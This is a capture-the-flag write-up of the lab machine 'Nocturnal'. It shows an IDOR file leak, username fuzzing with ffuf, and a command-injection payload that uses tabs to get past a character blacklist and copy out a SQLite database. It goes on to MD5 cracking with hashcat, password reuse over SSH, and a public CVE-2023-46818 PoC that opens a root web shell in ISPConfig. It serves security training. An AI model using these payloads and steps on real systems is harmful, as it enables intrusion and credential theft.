Skip to content

Nocturnal

Enumeration

Nmap scan of the target:

$ nmap -sV -sC -p- -PN -oA nocturnal_nmap 10.10.11.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-26 11:50 CEST
Nmap scan report for 10.10.11.64
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

No UDP services are running on the target.

The web server on port 80 appears to be a kind of file hosting service:

alt text

The application is written in PHP.

Once registered, users can upload and retrieve their documents:

alt text

Only a few file formats are accepted, and attempting to upload files with non-approved extensions results in an error:

alt text

The filtering is done on the server side. Only the file extension is being validated, as it's possible to upload an arbitrary file as long as it has the correct extension. The application even allows uploading files with a completely different MIME type than the file extension:

alt text

Despite this, there isn't any way of tricking the application into accepting a file that contains a malicious payload.

Foothold

Uploaded files are downloaded from the dashboard through the /view.php endpoint in the form of the following GET request:

GET /view.php?username=test&file=shell.pdf HTTP/1.1

Crucially, the application allows users to view other user's files by simply changing the username parameter. For instance, user admin's files can be viewed without authentication:

alt text

For non-existing usernames, the application returns the error message User not found., which makes it easy to fuzz for valid usernames.

Used FFuF with a list of common usernames to discover additional valid usernames:

1
2
3
4
5
6
7
$ ffuf -w usernames.txt -u 'http://nocturnal.htb/view.php?username=FUZZ&file=.pdf' -H "Cookie: PHPSESSID=s6b78ofen0mi1rj4mnf5i3bvua" -fs 2985

...

amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 24ms]
test                    [Status: 200, Size: 3345, Words: 1180, Lines: 129, Duration: 32ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 28ms]

Of the two usernames found above, only amanda has a single file stored:

1
2
3
4
5
6
...
<h2>Available files for download:</h2>
<ul>
    <li><a href="view.php?username=amanda&file=privacy.odt">privacy.odt</a></li>
</ul>
...

privacy.odt appears to be a letter from Nocturnal's IT team regarding a password change:

alt text

The password is valid for logging in to the application as user amanda. From the dashboard, there is a link to the application admin panel:

alt text

The admin panel includes a viewer for the application source code, as well as a backup utility that backs up the application and uploaded files.

Creating a backup requires setting a password. The actual backup is handled by the following code in admin.php:

if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';

        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
...

The files are added to a .zip archive by a call to the OS zip command. Before the command is run, the application checks if the password contains any restricted characters by calling the cleanEntry() function:

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

The highlighted line above lists all restricted characters, which includes a number of common characters used for chaining shell commands. Nevertheless, " is not a restricted character, which means it can be used to end the password input early and inject an OS command like ls:

alt text

The payload 123"ls works because it ends the password input early by setting it to 123, then hijacks the command input and runs ls.

The backup command looks like so:

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Substituting the payload for $password gives the following:

$command = "zip -x './backups/*' -r -P "123"ls " " . $backupFile . " .  > " . $logFile . " 2>&1 &";

Which effectively becomes:

$command = "zip -x './backups/*' -r -P "123"ls

As space is among the characters blocked in cleanEntry(), adding spaces to commands is impossible. However, since the input sanitization is performed on the backend after it has been processed by the web browser, it's possible to trick the filter using URL encoded characters that resolve to whitespace when decoded. This still exludes the space character, but tab (%09) is not blocked and can be used to encode whitespace in payloads.

There are no good payloads for a reverse shell that doesn't include any blocked characters, so the best approach foward is to look for files to exfiltrate.

A good candidate is the SQLite database for the application. The path is defined in dashboard.php:

$db = new SQLite3('../nocturnal_database/nocturnal_database.db');

Used the following payload to copy the database from its current location to the working directory:

123"cp%09../nocturnal_database/nocturnal_database.db%09.

Created a backup in the admin panel UI with the database file included, then downloaded and opened it in sqlite3.

The database contains a users table with MD5 hashed passwords:

 $ sqlite3 nocturnal_database.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
uploads  users
sqlite> select * from users;
1|admin|d725...
2|amanda|df8b...
4|tobias|55c8...
6|kavi|f38c...
7|e0Al5|101a...
8|test|098f...

Cracked the hash for user tobias with Hashcat in mode 0:

$ hashcat -m 0 tobias_hash rockyou.txt
...

2b1c...:...

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 55c8...
Time.Started.....: Fri Jun 27 15:47:29 2025 (2 secs)
Time.Estimated...: Fri Jun 27 15:47:31 2025 (0 secs)
...

Used the obtained password to connect to the target over SSH as user tobias.

Got the user flag.

Privilege Escalation

Enumerated network services running on the target with netstat. Found a HTTP server listening on 127.0.0.1:8080:

$ netstat -tunap
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0    360 10.10.11.64:22          10.10.16.7:56508        ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Used SSH port forwarding to forward the port to the attack host:

$ ssh -L 8000:127.0.0.1:8080 tobias@nocturnal.htb

Navigated to http://127.0.0.1:8000 on the attack host and found an instance of ISPConfig:

alt text

Attempted to log in with default credentials (admin:admin), but got an incorrect username or password error.

The application log in /var/log/ispconfig/auth.log confirms that the username is admin:

1
2
3
4
tobias@nocturnal:~$ cat /var/log/ispconfig/auth.log
Successful login for user 'admin'  from 127.0.0.1 at 2025-04-09 10:19:13 with session ID vo10b400dv579klascjkkf1568
Successful login for user 'admin'  from 127.0.0.1 at 2025-04-09 10:54:48 with session ID k6cfshre0jfnp81hetdrc1c67a
...

Tried logging in as admin with the password found for tobias earlier and got access to the admin panel:

alt text

Searching for recent vulnerabilities in ISPConfig turned up CVE-2023-46818, a PHP code injection vulnerability.

Used a previously published Python PoC to exploit the vulnerability:

$ python CVE-2023-46818.py http://127.0.0.1:8000 admin ...
[+] Logging in with username 'admin' and password '...'
[+] Login successful!
[+] Fetching CSRF tokens...
[+] CSRF ID: language_edit_e8e91d5cc80f3303fe33130e
[+] CSRF Key: 0251e31b3e1cc80185a28b4570e08ff29d920c5a
[+] Injecting shell payload...
[+] Shell written to: http://127.0.0.1:8000/admin/sh.php
[+] Launching shell...

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

Got the root flag.